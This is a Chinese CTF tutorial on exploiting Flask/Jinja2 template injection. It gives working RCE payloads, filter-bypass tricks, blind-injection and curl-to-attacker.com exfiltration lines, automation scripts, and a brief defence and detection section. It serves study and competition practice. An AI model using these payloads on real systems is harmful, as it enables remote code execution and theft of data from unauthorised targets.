Flask/Jinja2 SSTI漏洞实战:从基础到高阶绕过的完整方法论
在CTF竞赛的Web安全赛题中,模板注入漏洞(SSTI)一直是高频考点。本文将系统梳理Flask/Jinja2环境下SSTI的利用链条,通过难度递增的实战案例,带你掌握从基础payload构造到复杂过滤绕过的完整知识体系。
1. SSTI核心原理与基础利用
模板注入的本质是服务端将用户输入作为模板语法解析执行。在Flask框架中,Jinja2作为默认模板引擎,其{{}}语法允许执行Python表达式。当攻击者能够控制模板内容时,就能通过构造特殊对象链实现RCE。
基础利用链构造三要素:
- 获取基类:通过
''.__class__.__mro__[1]获取object基类 - 定位危险子类:遍历
__subclasses__()寻找包含os模块引用的类(如os._wrap_close) - 调用命令执行:通过
__globals__获取os模块后调用popen等函数
# 典型payload结构 {{ ''.__class__.__mro__[1].__subclasses__()[132].__init__.__globals__['popen']('whoami').read() }}关键内置属性速查表:
| 属性 | 作用 | 示例 |
|---|---|---|
__class__ | 获取对象所属类 | ''.__class__→<class 'str'> |
__mro__ | 方法解析顺序元组 | str.__mro__→(str, object) |
__subclasses__() | 获取子类列表 | object.__subclasses__() |
__globals__ | 函数全局命名空间 | func.__globals__ |
__builtins__ | 内置函数集合 | __builtins__.eval |
注意:不同Python版本子类索引可能变化,实战中需动态确定危险类位置
2. 常规过滤的绕过技巧
CTF题目通常会设置层层过滤限制,我们需要灵活运用各种技巧突破防线。
2.1 字符限制突破方案
引号被过滤时:
- 使用request对象传递参数:
{{ url_for.__globals__[request.args.a][request.args.b](request.args.c).read() }} ?a=os&b=popen&c=whoami- 字符串拼接:
{% set chr=url_for.__globals__.__builtins__.chr %} {{ chr(111)+chr(115) }} # 输出"os"中括号被过滤时:
- 使用
__getitem__方法替代:
{{ config.__str__().__getitem__(2) }} # 等效于config.__str__()[2]- 利用过滤器转换:
{{ (config|string|list).pop(1) }} # 将字符串转为列表后取元素2.2 关键词过滤绕过
当下划线被禁用时,可采用以下方案:
{% set a=(()|select|string|list).pop(24) %} # 获取'_'字符 {% set globals=(a,a,dict(globals=1)|join,a,a)|join %} # 拼接"__globals__" {{ (lipsum|attr(globals)).get('os') }}当数字被禁用时,利用过滤器生成:
{% set one=dict(a=1)|join|length %} # 值为1 {% set two=dict(aa=1)|join|length %} # 值为23. 无回显场景下的利用技术
当表达式执行结果被过滤时,需要采用盲注技术:
3.1 布尔盲注方案
{% if lipsum.__globals__.os.popen('id').read()[0]=='u' %} {{ 1/0 }} # 通过报错显式判断 {% endif %}3.2 外带数据技术
{% set cmd='curl http://attacker.com/?data='+lipsum.__globals__.os.popen('id').read() %} {{ lipsum.__globals__.os.popen(cmd) }}4. 自动化payload生成实践
面对复杂过滤条件,手动构造payload效率低下。这里分享几个实用脚本技巧:
字符定位脚本:
import requests def find_char(target): for i in range(500): r = requests.get(f'http://target/?name={{config.__str__().__getitem__({i})}}') if target in r.text: return i return None # 生成cat /flag的字符索引 print([find_char(c) for c in 'cat /flag'])全自动利用框架:
class SSTIExploit: def __init__(self, url): self.url = url self.charset = {} def build_reference(self): # 自动建立字符索引库 pass def generate_payload(self, cmd): # 根据过滤规则动态生成payload pass def execute(self, cmd): payload = self.generate_payload(cmd) return requests.get(self.url, params={'name':payload}).text5. 防御方案与检测技巧
作为开发者,应当了解如何防范SSTI漏洞:
安全开发实践:
- 始终对用户输入进行严格过滤
- 使用Jinja2的沙箱环境
- 禁用不必要的模板功能
检测方法论:
# 简易检测脚本 test_cases = [ '{{7*7}}', # 基础检测 '{{self}}', # 对象检测 '{% debug %}' # 调试模式检测 ] def check_ssti(url): for payload in test_cases: if requests.get(url, params={'name':payload}).text.strip() == '49': return True return False在真实业务场景中,建议结合SAST工具进行自动化检测,同时建立模板使用的白名单机制。对于CTF选手而言,理解这些防御手段也能帮助逆向思考突破方案。